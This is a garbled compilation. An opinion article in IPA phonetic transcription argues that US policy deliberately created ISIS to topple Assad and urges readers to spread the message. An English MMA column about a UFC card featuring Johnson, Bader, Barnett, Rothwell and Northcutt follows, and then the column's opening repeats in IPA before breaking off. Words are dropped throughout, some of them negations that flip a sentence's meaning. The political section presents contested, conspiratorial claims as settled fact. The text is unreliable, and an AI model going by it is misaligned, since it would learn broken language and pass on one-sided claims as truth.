dɪˈrɛkt əˈsɪstəns ɪn ˈmɪlɪˌtɛri ˌɑpərˈeɪʃənz əˈgɛnst əˈsɑd fɔr mənθs praɪər (ju kən ˈækˌsɛs ə fri kæʃt ˈvərʒən əv ðə peɪʤ hir). ðɛn ɪn meɪ əv 2014 ræn ə rɪˈpɔrt ɪn wɪʧ ðeɪ ˈɪntərvˌjud ˈrɛbəlz hu wər treɪnd baɪ ðə juz. ɪn ˌkəˈtɑr. əˈkɔrdɪŋ tɪ ðoʊz ˈrɛbəlz ðeɪ wər biɪŋ treɪnd tɪ ˈfɪnɪʃ ɔf ˈsoʊlʤərz hu sərˈvaɪvd əˈtæks. treɪnd ˈjuˈɛs tɪ ˈæmˌbʊʃ rəˈʒim ər ˈɛnəmi ˈviɪkəlz ənd kət ɔf ðə road,”*,” sɛd ðə ˈfaɪtər, hu ɪz aɪˈdɛntəˌfaɪd ˈoʊnli ɛz ““hussein.”*.” ˈɔlsoʊ treɪnd ˈjuˈɛs ɔn haʊ tɪ əˈtæk ə ˈviɪkəl, reɪd ɪt, rɪˈtriv ˌɪnˌfɔrˈmeɪʃən ər ˈwɛpənz ənd mjuˈnɪʃənz, ənd haʊ tɪ ˈfɪnɪʃ ɔf ˈsoʊlʤərz stɪl əˈlaɪv ˈæftər ən ambush.”*.” ðɪs ɪz ə ˈbleɪtənt vaɪəˈleɪʃən əv ðə ʤəˈnivə kənˈvɛnʃənz. ɪt ˈɔlsoʊ rənz ˈkɑntrɛri tɪ kənˈvɛnʃənəl ˈmɪlɪˌtɛri ˈstrætəʤi. ɪn kənˈvɛnʃənəl ˈmɪlɪˌtɛri ˈstrætəʤi ˈsoʊlʤərz ər ˈbɛtər ɔf lɛft ˈwundɪd, bɪˈkəz ðɪs ɛndz əp ˈkɔstɪŋ ðə ˈɛnəmi mɔr ˈrisɔrsɪz. ˈɛksəˌkjutɪŋ ˈkæpʧərd ˈɛnəmi ˈsoʊlʤərz ɪz ðə kaɪnd əv ˈtæktɪk juzd wɪn ju wɔnt tɪ straɪk ˈtɛrər ɪn ðə hɑrts əv ðə ˈɛnəmi. ɪt ˈɔlsoʊ ʤɪst ˈhæpənz tɪ bi ˈstændərd ˈɔpərˌeɪtɪŋ prəˈsiʤər fər ˈaɪsəs. wən mənθ ˈæftər ðɪs rɪˈpɔrt, ɪn ʤun əv 2014 ˈaɪsəs meɪd ɪts drəˈmætɪk ˈɛntri, ˈkrɔsɪŋ ˈoʊvər ðə ˈsɪriən ˈbɔrdər ˈɪntu ˌɪˈrɑk, ˈkæpʧərɪŋ ˈmoʊsəl, ənd ˈɔlˌmoʊst ˈriʧɪŋ ˈbægdæd. ðə ˈɪntərˌnɛt wɑz ˈsədənli ˈflədɪd wɪθ ˈfʊtɪʤ əv draɪv baɪ ˈʃutɪŋz, lɑrʤ skeɪl dɛθ ˈmɑrʧɪz, ənd mæs greɪvz. ənd əv kɔrs ˈɛni ˌɪˈræki ˈsoʊlʤər ðət wɑz ˈkæpʧərd wɑz ˈɛksəˌkjutɪd. ˈmæsɪv kˈwɑntətiz əv əˈmɛrɪkən ˈmɪlɪˌtɛri ɪkˈwɪpmənt wər sizd ˈdʊrɪŋ ðət ˌɑpərˈeɪʃən. ˈaɪsəs tʊk ɪnˈtaɪər ˈtrəˌkloʊdz əv ˈhəmˌviz, ðeɪ tʊk ˈhɛlɪˌkɑptərz, tæŋks, ənd ɑrˈtɪləri. ðeɪ ˈfoʊtəˌgræft ənd ˈvɪdioʊ teɪpt ðɛmˈsɛlvz ənd ˌædvərˈtaɪzd wət ðeɪ wər duɪŋ ɔn ˈsoʊʃəl ˈmidiə, ənd jɛt fər səm ˈrizən ˈwɔʃɪŋtən ˈivɪn traɪ tɪ stɑp ðɛm. juz. ˈmɪlɪˌtɛri ˈdɔktərɪn ˈklɪrli kɔlz fər ðə dɪˈstrəkʃən əv ˈmɪlɪˌtɛri ɪkˈwɪpmənt ənd səˈplaɪz wɪn ˈfrɛndli ˈfɔrsɪz ˈkænɑt prɪˈvɛnt ðɛm frəm ˈfɑlɪŋ ˈɪntu ˈɛnəmi hænz, bət ðət ˈhæpən hir. ˈaɪsəs wɑz əˈlaʊd tɪ ˈkɛri ðɪs ɪkˈwɪpmənt aʊt əv ˌɪˈrɑk ənd ˈɪntu ˈsɪriə ˌənɪmˈpidɪd. ðə juz. ˈmɪlɪˌtɛri hæd ðə minz tɪ straɪk ðiz ˈkɑnˌvɔɪz, bət ðeɪ lɪft ə ˈfɪŋgər, ˈivɪn ðoʊ ðeɪ hæd bɪn ˈlɔnʧɪŋ droʊn straɪks ɪn ˈpækɪˌstæn ðət seɪm wik. waɪ wʊd ðeɪ du ðət? ðoʊ ˌoʊˈbɑmə pleɪz ðə roʊl əv ə wik, ˌɪndɪˈsaɪsɪv, ˈlɪˌbərəl ˈprɛzɪdənt, ənd waɪl ˈpəndɪts frəm ðə raɪt hæv hæd ə lɔt əv fən wɪθ ðət ˈɪmɪʤ, ðɪs ɪz ʤɪst ə fəˈsɑd. səm ˈprɛzɪˌdɛnts, laɪk ʤɔrʤ ˈdəbəlju. bʊʃ, rɪˈlaɪ praɪˈmɛrəli ɔn ˈoʊvərt ˈmɪlɪˌtɛri əˈgrɛʃən. ˌoʊˈbɑmə gɪts ðə seɪm ʤɑb dən, bət hi prɪˈfərz ˈkoʊvərt minz. nɑt ˈrɪli səˈpraɪzɪŋ kənˈsɪdərɪŋ ðə fækt ðət zˈbɪgnu brɪˈzɪnski wɑz hɪz ˈmɛnˌtɔr. ðoʊz hu noʊ ðɛr ˈhɪstəri wɪl rɪˈmɛmbər ðət zˈbɪgnu brɪˈzɪnski wɑz dɪˈrɛkli ˌɪnˈvɑlvd ɪn ðə ˈfəndɪŋ ənd ˈɑrmɪŋ ðə ˌɪzˈlɑmɪk ɪkˈstriməsts ɪn ˈpækɪˌstæn ənd æfˈgænəˌstæn ɪn ˈɔrdər tɪ ˈwikən ðə ˈsoʊviˌɛts. baɪ ðə weɪ oʊˈsɑmə bɪn ˈleɪdən wɑz wən əv ðiz fighters”*” ðə juz. wɑz ˈfəndɪŋ ənd ˈɑrmɪŋ. ðɪs ˌɑpərˈeɪʃən ɪz noʊ ˈsikrɪt æt ðɪs pɔɪnt, nɔr ər ðə ˌənɪnˈtɛndɪd saɪd ˈifɛkts. əˈfɪʃəli ðə juz. ˈɑrmɪŋ ənd ˈfəndɪŋ əv ðə ˌmuʤəhɛˈdin wɑz ə rɪˈspɑns tɪ ðə ˈsoʊviˌɛt ˌɪnˈveɪʒən ɪn dɪˈsɛmbər əv 1979 ˌhaʊˈɛvər ɪn hɪz ˈmɛmˌwɑr ɛnˈtaɪtəld ðə shadows”*” ˈrɑbərt geɪts, dɪˈrɛktər əv ðə siaɪeɪ ˈəndər ˈrɑnəld ˈrigən ənd ʤɔrʤ bʊʃ ˈsinjər, ənd ˈsɛkrəˌtɛri əv dɪˈfɛns ˈəndər boʊθ ʤɔrʤ ˈdəbəlju. bʊʃ ənd ˈbɑrək ˌoʊˈbɑmə, rɪˈvild ðət ðə juz. ˈæˌkʧuəli bɪˈgæn ðə ˈkoʊvərt ˌɑpərˈeɪʃən 6 mənθs praɪər, wɪθ ðə ɪkˈsprɛs ˌɪnˈtɛnʧən əv ˈlʊrɪŋ ðə ˈsoʊviˌɛts ˈɪntu ə kˈwægˌmaɪər. (ju kən ˈprivˌju ðə ˈrɛləvənt tɛkst hir ɔn ˈgugəl bʊks) ðə ˈstrætəʤi wərkt. ðə ˈsoʊviˌɛts ˌɪnˈveɪdɪd, ənd ðə tɛn jɪrz əv wɔr ðət ˈfɑloʊd ər kənˈsɪdərd baɪ ˈmɛni hɪˈstɔriənz ɛz biɪŋ wən əv ðə ˈpraɪˌmɛri ˈkɔzɪz əv ðə fɔl əv ðə ussr*. ðɪs ɪgˈzæmpəl ʤɪst ɪˈstæblɪʃ ˈprɛsɪdənt, wət siɪŋ ˈhæpən ɪn ˌɪˈrɑk, æfˈgænəˌstæn ənd ˈsɪriə raɪt naʊ ɪz ˈæˌkʧuəli ə kənˌtɪnjuˈeɪʃən əv ə oʊld ˈstɔri. ənd ˈaɪsəs ər ˌaɪdiəˈlɑʤɪkəl ənd ˌɔrgənəˈzeɪʃənəl dɛˈsidənts əv ðiz ɪkˈstrimɪst ˈɛləmənts ðət ðə juz. ˈgəvərnmənt meɪd juz əv ˈθərˌdi jɪrz əˈgoʊ. ðə juz. ðə wɛnt ɔn tɪ kriˈeɪt ə ˈbridɪŋ graʊnd fər ðiz ɪkˈstriməsts baɪ ˌɪnˈveɪdɪŋ ˌɪˈrɑk ɪn 2003 hæd ɪt nɑt bɪn fər ðə ˈvækjum əv paʊər lɛft baɪ ðə rɪˈmuvəl ənd ˌɛksəˈkjuʃən əv ˈsɑdəm, ˌɑlˈkaɪdɑ ɪn ˌɪˈrɑk, ˈɑkə ˈaɪsəs, wʊd nɑt ɪgˈzɪst. ənd hæd ɪt nɑt bɪn fər əˈtɛmpt æt ˈtɑpəlɪŋ əˈsɑd baɪ ˈɑrmɪŋ, ˈfəndɪŋ ənd ˈtreɪnɪŋ ˈʃædoʊi ˈmɪlətənt grups ɪn ˈsɪriə, ðɛr ɪz noʊ weɪ ðət ˈaɪsəs wʊd hæv bɪn ˈkeɪpəbəl əv ˈstɔrmɪŋ ˈɪntu ˌɪˈrɑk ɪn ʤun əv 2014 ɔn ˈɛvəri ˈlɛvəl, noʊ ˈmætər haʊ ju kət ɪt, ˈaɪsəs ɪz ə ˈprɑdəkt əv juz. tˈwɪstɪd ənd dəˈkrɛpɪt ˈfɔrən ˈpɑləsi. naʊ ɔl əv ðɪs meɪ sim ˌkɑntrəˈdɪktəri tɪ ju ɛz ju wɔʧ ðə drəmz əv wɔr əˈgɛnst ˈaɪsəs bɪˈgɪn tɪ bit ˈlaʊdər ənd ðə ɛr straɪks əˈgɛnst ðɛm ər ˈgræʤuəli widenedhttp://www.wjla.com/articles/2014/08/president-obama-considers-possible-…*-…). waɪ wʊd ðə juz. hɛlp ə ˈtɛrərɪst ˌɔrgənəˈzeɪʃən gɪt ɪˈstæblɪʃt, ˈoʊnli tɪ əˈtæk ðɛm ˈleɪtər? wɛl waɪ dɪd ðə siaɪeɪ pʊt ˈsɑdəm huˈseɪn ɪn paʊər ɪn 1963 waɪ dɪd ðə juz. ˈgəvərnmənt bæk ˈsɑdəm ɪn 1980 wɪn hi lɔnʧt ə wɔr əv əˈgrɛʃən əˈgɛnst ˌɪˈrɑn, ˈivɪn ðoʊ ðeɪ nu ðət hi wɑz ˈjuzɪŋ ˈkɛmɪkəl ˈwɛpənz? waɪ dɪd ðə juz. fənd ənd ɑrm ˌɪzˈlɑmɪk ɪkˈstriməsts ɪn æfˈgænəˌstæn əˈgɛnst ðə ˈsoʊviˌɛts? ə ˈpætərn hir ɪf ju lʊk ˈkloʊsli. ðɪs ɪz ə traɪd ənd tru ˌʤioʊpəˈlɪtɪkəl ˈstrætəʤi. stɛp 1 bɪld əp ə ˈdɪkteɪtər ər ɪkˈstrimɪst grup wɪʧ kən ðɛn bi juzd tɪ weɪʤ ˈprɑksi wɔrz əˈgɛnst əˈpoʊnənts. ˈdʊrɪŋ ðɪs steɪʤ ˈɛni kraɪmz kəˈmɪtɪd baɪ ðiz ˈprɑksiz ər swɛpt ˈəndər ðə rəg. [ˈprɑbləm] stɛp 2 wɪn ðiz ˈnæsti ˈkɛrɪktərz hæv ˌaʊˈtlɪvd ðɛr ˈjusfəlnəs, wɪn taɪm tɪ pʊl aʊt ɔl ðət dərt frəm ˈəndər ðə rəg ənd stɑrt ˈpəbləˌsaɪzɪŋ ɪt ðɪs ˈɑbviəsli wərks bɛst wɪn ðə ˈpəblɪk həz noʊ aɪˈdiə haʊ ðiz bæd gaɪz keɪm tɪ power.[reaction*] stɛp 3 ˈfaɪnəli, wɪn ðə ˈpəblɪk ˈpræktɪkəli ˈbɛgɪŋ fər ðə ˈgəvərnmənt tɪ du ˈsəmθɪŋ, ə səˈluʃən ɪz prəˈpoʊzd. ˈjuʒəwəli ðə səˈluʃən ˌɪnˈvɑlvz ˈmɪlɪˌtɛri ˌɪntərˈvɛnʃən, ðə lɔs əv ˈsərtən ˈlɪbərˌtiz, ər boʊθ. [səˈluʃən] ˈaɪsəs ɪz ɪkˈstrimli ˈjusfəl. ðeɪ hæv ɛˈsɛnʃəli dən ˈwɔʃɪŋtən ˈdərti wərk baɪ ˈwikənɪŋ əˈsɑd. ɪn 2014 waɪl ðə nuz ˈsaɪkəl həz ˈfoʊkɪst ˈɔlˌmoʊst ɪkˈsklusɪvli ɔn juˈkreɪn ənd ˈrəʃə, ˈaɪsəs meɪd ˈmeɪʤər ˈhɛdˌweɪ ɪn ˈsɪriə, ənd ɛz əv ˈɔgəst ðeɪ ɔˈrɛdi kənˈtroʊld 35 əv ðə ˈkəntri. sɪns ˈaɪsəs ˈlɑrʤli beɪst ɪn ˈsɪriə, ðɪs gɪvz ðə juz. ə ˈpriˌtɛkst tɪ muv ˈɪntu ˈsɪriə. ˈsunər ər ˈleɪtər ðə juz. wɪl ɪkˈstɛnd ðə ˈɛrˌstraɪks ˈɪntu ˈbæˌkjɑrd, ənd wɪn ðeɪ du juz. əˈfɪʃəlz ər ɔˈrɛdi ˈmeɪkɪŋ ɪt klɪr ðət boʊθ ˈaɪsəs ənd ðə ˈsɪriən ˈgəvərnmənt wɪl bi ˈtɑrgətɪd. ðət, ˈæftər ɔl, ɪz ðə hoʊl pɔɪnt. ˈwɔʃɪŋtən meɪ əˈlaʊ ˈaɪsəs tɪ ˈkæpʧər ə bɪt mɔr ˈtɛrɪˌtɔri fərst, bət ðə ˈraɪtɪŋ ɪz ɔn ðə wɔl, ənd həz bɪn fər səm taɪm naʊ. ðə ˌoʊˈbɑmə ædˌmɪnɪˈstreɪʃən həz rɪˈpitɪdli ˌɪnˈsɪstɪd ðət ðɪs wɪl ˈnɛvər lɛd tɪ buts ɔn ðə graʊnd, ˌhaʊˈɛvər, ðə truθ əv ðə ˈmætər ɪz ðət ˈɛniˌwən hu ˌəndərˈstændz ˈɛniˌθɪŋ əˈbaʊt ˈmɪlɪˌtɛri ˈtæktɪks noʊz fʊl wɛl ðət ˈaɪsəs ˈkænɑt bi dɪˈfitɪd baɪ ˈɛrˌstraɪks əˈloʊn. ɪn rɪˈspɑns tɪ ˈɛrˌstraɪks ˈaɪsəs wɪl ˈmɪrli dɪˈspərs ənd kənˈsil ðɛr ˈfɔrsɪz. ˈaɪsəs ən ɪˈstæblɪʃt steɪt paʊər wɪʧ kən bi dɪˈstrɔɪd baɪ ˈnɑkɪŋ aʊt ki ˈgəvərnmənt ˈbɪldɪŋz ənd ˌɪnfrəˈstrəkʧər. ðiz ər gərˈɪlə ˈfaɪtərz hu kət ðɛr tiθ ɪn ˈərbən ˈwɔrˌfɛr. tɪ sɪgˈnɪfɪkəntli ˈwikən ðɛm, ðə wɔr wɪl hæv tɪ ˌɪnˈvɑlv graʊnd trups, bət ˈivɪn ðɪs ɪz ə lɔst kɔz. juz. trups kʊd ˈsərtənli rut ˈaɪsəs ɪn strit tɪ strit ˈbætəlz fər səm taɪm, ənd ðeɪ maɪt ˈivɪn səkˈsid ɪn ˈfʊli ˈɑkjəˌpaɪɪŋ ˈsɪriə ənd ˌɪˈrɑk fər ə ˈnəmbər əv jɪrz, bət ɪˈvɛnʧəwəli ðeɪ wɪl hæv tɪ liv, ənd wɪn ðeɪ du, ɪt ʃʊd bi ˈɑbviəs wət wɪl kəm nɛkst. ðə ˈpəpɪts ðət ðə juz. ˈgəvərnmənt həz ˌɪnˈstɔld ɪn ðə ˈvɛriəs ˈkəntriz ðət ðeɪ hæv brɔt daʊn ɪn ˈrisənt jɪrz hæv wɪˈθaʊt ɪkˈsɛpʃən ˈpruvən tɪ bi ˈətərli ˌɪnˈkɑmpətənt ənd kərəpt. noʊ wən ðət ˈwɔʃɪŋtən ˈpleɪsɪz ɪn paʊər wɪl bi ˈkeɪpəbəl əv meɪnˈteɪnɪŋ stəˈbɪlɪti ɪn ˈsɪriə. ˈpɪriəd. raɪt naʊ, əˈsɑd ɪz ðə læst ˈbæsʧən əv stəˈbɪlɪti ɪn ðə ˈriʤən. hi ɪz ðə læst ʧæns ðeɪ hæv fər ə ˈmɑdərˌeɪt ˌnɑnsɛkˈtɛriən ˈgəvərnmənt ənd hi ɪz ðə ˈoʊnli hoʊp əv ˈɛniˌθɪŋ ˈivɪn riˈmoʊtli rɪˈzɛmbəlɪŋ dɪˈmɑkrəsi fər ðə fɔrˈsiəbəl fˈjuʧər. ɪf əˈsɑd fɔlz, ˌɪzˈlɑmɪk ɪkˈstrimɪst wɪl teɪk ðə hɛlm, ðeɪ wɪl ˌɪmˈpoʊz lɔ, ənd ðeɪ wɪl du ˈɛvriˌθɪŋ ɪn ðɛr paʊər tɪ kənˈtɪnju ˈsprɛdɪŋ ðɛr ˌaɪdiˈɑləʤi ɛz fɑr ənd waɪd ɛz ðeɪ kən. ɪf ðə wərld ˈtruli wɔnts tɪ stɑp ˈaɪsəs, ðɛr ɪz ˈoʊnli wən weɪ tɪ du ɪt: 1 fərst ənd ˈfɔrˌmoʊst, ðə juz. ˈgəvərnmənt ənd ɪts ˈælaɪz məst bi ˈhɛvəli ˈprɛʃərd tɪ kət ɔl səˈpɔrt tɪ ðə ˈrɛbəlz hu ər əˈtɛmptɪŋ tɪ ˈtɑpəl əˈsɑd. ˈivɪn ɪf ðiz ˈrɛbəlz ðət ðə juz. ɪz ˈɑrmɪŋ ənd ˈfəndɪŋ wər ˈmɑdərˌeɪt, ənd nɑt, ðə fækt ðət ðeɪ ər ˈfɔrsɪŋ əˈsɑd tɪ faɪt ə wɔr ɔn ˈməltəpəl frənts, ˈoʊnli ˈstrɛŋθənz ˈaɪsəs. ðɪs ɪz ˈlunəsi. 2 ðə ˈsɪriən ˈgəvərnmənt ʃʊd bi prəˈvaɪdɪd wɪθ ˌfaɪˈnænʃəl səˈpɔrt, ɪkˈwɪpmənt, ˈtreɪnɪŋ ənd ˌɪnˈtɛləʤəns tɪ ɪˈneɪbəl ðɛm tɪ tərn ðə taɪd əˈgɛnst ˈaɪsəs. ðɪs ɪz ðɛr ˈtɛrɪˌtɔri, ðeɪ ʃʊd bi ðə wənz tɪ riˈkleɪm ɪt. naʊ ˈɑbviəsli ðɪs səˈpɔrt goʊɪŋ tɪ kəm frəm ðə juz. ər ˈɛni ˈneɪtoʊ ˈkəntri, bət ðɛr ər ə ˈnəmbər əv ˈneɪʃənz hu hæv ə strəˈtiʤɪk ˈɪntəˌrɛst ɪn prɪˈvɛnɪŋ əˈnəðər rəˈʒim ʧeɪnʤ ənd keɪˈɑtɪk ˈæftərˌmæθ. ɪf ðiz ˈkəntriz rɪˈspɑnd ˈprɑmptli, ɛz ɪn raɪt naʊ, ðeɪ kʊd priɛmpt ə juz. ˌɪntərˈvɛnʃən, ənd ɛz lɔŋ ðɪs səˈpɔrt dɪz nɑt ˌɪnˈklud ðə ˈprɛzəns əv ˈfɔrən trups, duɪŋ soʊ wɪl ˈgreɪtli rɪˈdus ðə ˈlaɪkliˌhʊd əv ə ˈmeɪʤər ˌkɑnfrənˈteɪʃən daʊn ðə roʊd. 3 ðə juz. ˈgəvərnmənt ənd ɪts ˈælaɪz ʃʊd ʃʊd bi əˈgrɛsɪvli kənˈdɛmd fər ðɛr feɪld rəˈʒim ʧeɪnʤ ˈpɑləsiz ənd ðə ˌɪndəˈvɪʤəwəlz bɪˈhaɪnd ðiz dɪˈsɪʒənz ʃʊd bi ʧɑrʤd fər wɔr kraɪmz. ðɪs wʊd hæv tɪ bi dən ɔn ən ˈneɪʃən baɪ ˈneɪʃən ˈlɛvəl sɪns ðə u.n*. həz dən ˈnəθɪŋ bət ɪˈneɪbəl ˈneɪtoʊ əˈgrɛʃən. waɪl ðɪs meɪ nɑt ˌɪˈmiˌdiətli rɪˈzəlt ɪn ðiz ˈkrɪmənəlz biɪŋ ərˈɛstɪd, ɪt wʊd sɛnd ə ˈmɛsɪʤ. ðɪs kən bi dən. məˈleɪʒə həz ɔˈrɛdi ˈpruvən ðɪs baɪ kənˈvɪktɪŋ ðə bʊʃ ædˌmɪnɪˈstreɪʃən əv wɔr kraɪmz ɪn abstentia*. naʊ ju maɪt bi ˈθɪŋkɪŋ: ɔl saʊnz faɪn ənd gʊd, bət wət dɪz ðɪs hæv tɪ du wɪθ mi? aɪ ˈɪnfluəns ðɪs situation.”*.” ðət pərˈspɛktɪv ɪz kwaɪt ˈkɑmən, ənd fər moʊst ˈpipəl, ˈpɛrəˌlaɪzɪŋ, bət ðə truθ əv ðə ˈmætər ɪz ðət wi kən ˈɪnfluəns ðɪs. dən ɪt ˌbiˈfɔr, ənd wi kən du ɪt əˈgɛn. bi ˈɑnəst wɪθ ju ðoʊ, ðɪs goʊɪŋ tɪ bi ˈizi. tɪ səkˈsid wi hæv tɪ stɑrt ˈθɪŋkɪŋ strəˈtiʤɪkli. laɪk ɪt ər nɑt, ðɪs ɪz ə ʧɛs geɪm. ɪf wi ˈrɪli wɔnt tɪ rɑk ðə boʊt, wi hæv tɪ stɑrt ˈriʧɪŋ aʊt tɪ ˈpipəl ɪn pəˈzɪʃənz əv ˈɪnfluəns. ðɪs kən min ˈtɔkɪŋ tɪ ˈbrɔdˌkæstərz æt jʊr ˈloʊkəl ˈreɪdiˌoʊ ˈsteɪʃən, nuz ˈpeɪpər, ər t.v*. ˈsteɪʃən, ər ɪt kən min ˈkɑnˌtæktɪŋ ˌɪnfluˈɛnʃəl ˈblɔgərz, səˈlɛbrɪtiz, ˈbɪznɪs ˈfɪgjərz ər ˈgəvərnmənt əˈfɪʃəlz. ˈriʧɪŋ aʊt tɪ ˈkɑrənt ˈsərvɪŋ ˈmɪlɪˌtɛri ənd jəŋ ˈpipəl hu meɪ bi kənˈsɪdərɪŋ ˈʤɔɪnɪŋ əp ɪz ˈɔlsoʊ ˌɪmˈpɔrtənt. bət ˈivɪn ɪf ʤɪst jʊr ˈneɪbər, ər jʊr ˈkoʊˈwərkər, ˈɛvəri ˈsɪŋgəl ˈpərsən wi kən riʧ brɪŋz ˈjuˈɛs ˈkloʊzər tɪ ˈkrɪtɪkəl mæs. ðə moʊst ˌɪmˈpɔrtənt stɛp ɪz tɪ stɑrt traɪɪŋ. ɪf ju ər kənfˈjuzd əˈbaʊt waɪ ðɪs ɪz ɔl ˈhæpənɪŋ, wɔʧ ðɪs ˈvɪdioʊ wi pʊt aʊt ɔn sɛpˈtɛmbər 11th*, 2012 ɪf ðɪs ˈmɛsɪʤ ˈrɛzəˌneɪts wɪθ ju ðɛn sprɛd ɪt. ɪf ju wɔnt tɪ si ðə bɪg ˈpɪkʧər, ənd trəst mi gɑt səm ˈvɛri ˈɪntəˌrɛstɪŋ rɪˈpɔrts ˈkəmɪŋ, səbˈskraɪb tɪ ɔn ˈjuˌtub, ənd ˈfɑloʊ ˈjuˈɛs ɔn ˈfeɪsˌbʊk, tˈwɪtər ənd ˈgugəl pləs. ˈboʊnəs ˈɑrtɪkəl (ən ˈɪntəˌrɛstɪŋ ˈtænʤənt): wər ðə ˈlɪˌbiən ˈrɛbəlz biɪŋ lɛd baɪ ə siaɪeɪ plænt? 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after the first two shows of the year, the talk was about close decisions and controversial judging. after the third show on saturday night, it was mostly about surprise submissions.
anthony "rumble" johnson's knockout win over ryan bader in the main event, putting him in the front of the line for a future light heavyweight title shot, was neither a surprise nor a submission. it was impressive given how little time it took johnson to put bader away. but anytime johnson fights, the lights can go out on his opponent at a moment's notice.
josh barnett losing to ben rothwell in a heavyweight showdown was a minor upset, but on its own, wouldn't have been a huge surprise. barnett losing via submission to rothwell, well, that's another story.
similarly, sage northcutt losing, while not expected by most, was something bound to happen at some point as it would be with almost fighter in the sport. at the age of 19, writing a fighter off based on one loss is preposterous. but the nature of his submission loss opened up some real questions, and ended up after the fact, being the most talked about story on the show.
with barnett, in a career, he had never tapped out to a submission hold. he did submit in a 2004 fight with cro cop, but that wasn't from a submission application, but a shoulder injury that he couldn't continue fighting with. he had tapped out in pure submission competition, but those losses also came in 2000, and his ground game is ridiculously more advanced today than it was at that point. rothwell had only used a submission maneuver to win one fight in the last eight years, over matt mitrione, and had never tapped out someone at barnett's level.
the main take is that anything can happen in the sport. when someone who is 38 loses, the question is always about whether they should continue. but barnett was facing someone who now has to be in the discussion for a heavyweight title shot, and was competitive with him the entire way until the shocking finish. there was nothing in the fight that said that if they were rematched, barnett wouldn't have a good shot of winning.
barnett won the first round on all three scorecards, and simply left himself open on a attempt. for northcutt, the situation was very different.
it wasn't the shock of him getting caught, it was of him tapping at the moment he did. northcutt (7-1), had taken the first round from bryan (11-3), in a fight put together clearly to showcase northcutt on fox. northcutt has been a pet project since dana white introduced him on his "lookin' for a fight" youtube show in the fall.
this isn't a sport where one loss puts you on the scrap heap. but when northcutt tapped to an arm triangle while holding half guard, a move that is rarely if ever a submission on the major league stage, and in a fight where he never looked in serious trouble, it opened up real questions.
every fighter, from jon jones on down, is going to face serious adversity during their career. even the most talented fighters have bad days. the mark of a top fighter is someone who when put in an adverse position, usually gets out of trouble. no matter how talented a fighter is, if they don't have the mentality to do that, they are not going very far in this sport.
it was less than two months ago when was promoted a show around "sage and paige," the hot prospects, with hot having a different meaning than one usually uses for it for fighters. there was actually discussion on television and in the media regarding both, including whether either could beat jon jones' record for the youngest champion ever. the discussions were premature to begin with, and today those talks seem laughable.
both lost, and it wasn't because they got caught with a punch, or because of a bad decision. they were both exposed as being nowhere near top level. but with paige vanzant, her loss was because she didn't have the skill, but in losing, she showed unquestioned heart. she fought through round without an answer for her opponent. she still continued to get out of one bad position after another.
with northcutt, he seemed the more skilled of the two men in the cage. in his fight with cody pfister, there was a hole in his game, that when he is on his back, he doesn't get up so quickly. but he survived and came back to win that fight. when the same thing happened in round two with, he once again didn't get up quickly. this time he tapped in a spot nobody expected him to. already resented by some fighters and fans because of his face, physique, hype and paycheck, the slightest hint of being unable to handle adversity added to his character traits is only going to make him resented even worse.
northcutt since revealed that he nearly pulled out of the fight with strep throat, and fought while loaded up on antibiotics. fighting probably wasn't the smartest move in hindsight. he'll have every opportunity to rebound, but discussions and expectations about championships are going to have to be earned in the cage going forward.
let's look at how fortunes changed for five stars of saturday night's show at the prudential center in newark, n.j.
anthony johnson - johnson (21-5) was here right here a year ago. in a bout to determine the next light heavyweight title contender on the january fox main event, johnson flattened alexander gustafsson in. he then lost his title bout to daniel cormier.
now, he's likely to face the winner of jones vs. cormier ii, even if cormier says otherwise. version of the top of the division is he's beating jones in their rematch, and then facing jones in the rubber match, and that johnson will have to wait until 2017.
if jones wins, there is no question johnson should be his first opponent. if things go like cormier says, and johnson would have to wait a long time, glover (24-4) makes the most sense as the next opponent.
with johnson's power, whether it's jones, cormier or teixeira, they can't afford a mistake, because one bad position, or being open for one punch can end the night quickly.
ryan bader - winning streak went down fast. bader, more and more, is looking like a fighter who can remain high in the division for years, but when matched against the true elite fighters, like johnson and jones, he doesn't fare well.
as far as who he should fight next, the best foes would be alexander gustafsson (16-4) or teixeira. with gustafsson, a win would be the quickest way out of the perception as a contender who can't be champion. it's a logical match at this point. gustafsson may have lost three of four, but he took both jones and cormier to the limit. bader lost to teixeira in 2013, in a short fight where both men ended up in trouble right away.
ben rothwell - win, most notably the matter which he won and the stage he won it on, makes the heavyweight championship picture even more interesting.
dana white said earlier in the week that cain velasquez, who was to get a title shot at this week, would be undergoing back surgery. however, he also said velasquez would only be out for four weeks. with also being out due to several injuries, the company is filled with options.
werdum (20-5-1) could face velasquez (13-2), as was planned. velasquez is the biggest name with the most championship and main event history of the four viable contenders. rothwell (36-9), has won four in a row, including a win over alistair. (40-14, 1 no contest), has three wins in a row, the last two over roy nelson and junior dos santos. he's also not under contract at this point, but the does have the right to match any outside offer. stipe (14-2), has won five of six, with the loss close against dos santos. but his last fight was a win over andrei, coming off a stoppage of mark hunt. when velasquez went down, was the person the picked for the title shot.
if the goes with velasquez as the next contender, then rothwell vs. looks the way to go. if they go with as the contender, the same still goes. if it's, then velasquez vs. looks like a viable direction, leaving rothwell with dos santos (17-4) or travis browne (18-3-1).
josh barnett - even though he lost, barnett has no shortage of opponents for a high profile fight. (25-11), junior dos santos (17-4) and mark hunt (11-10-1) could all main event a television show against barnett or be a strong main card fight on pay-per-view. a win would keep him strong in a division that lacks depth, and a division where age isn't as much of a factor because most of the top 15 are over 35.
wilson reis - reis (20-6) scored a solid decision win over dustin ortiz (15-5) in a prelim fight that pitted two ranked against each other.
reis put on a dominant and grappling performance to move to since debuting as a. both horiguchi (16-2) and louis smolka (10-1) are awaiting opponents and either fight would be a solid contenders fight. the problem with is that nobody sees anyone being able to beat johnson, so the movement in the top ten isn't focused on as much as in other weight classes. | ˈæftər ðə fərst tu ʃoʊz əv ðə jɪr, ðə tɔk wɑz əˈbaʊt kloʊz dɪˈsɪʒənz ənd ˌkɑntrəˈvərʃəl ˈʤəʤɪŋ. ˈæftər ðə θərd ʃoʊ ɔn ˈsæˌtɪˌdeɪ naɪt, ɪt wɑz ˈmoʊstli əˈbaʊt səˈpraɪz səbˈmɪʃənz. ˈænθɔˌni "ˈrəmbəl" ˈʤɑnsənz ˈnɑˌkaʊt wɪn ˈoʊvər raɪən ˈbædər ɪn ðə meɪn ɪˈvɛnt, ˈpʊtɪŋ ɪm ɪn ðə frənt əv ðə laɪn fər ə fˈjuʧər laɪt ˈhɛviˌweɪt ˈtaɪtəl ʃɑt, wɑz ˈniðər ə səˈpraɪz nɔr ə səbˈmɪʃən. ɪt wɑz ˌɪmˈprɛsɪv ˈgɪvɪn haʊ ˈlɪtəl taɪm ɪt tʊk ˈʤɑnsən tɪ pʊt 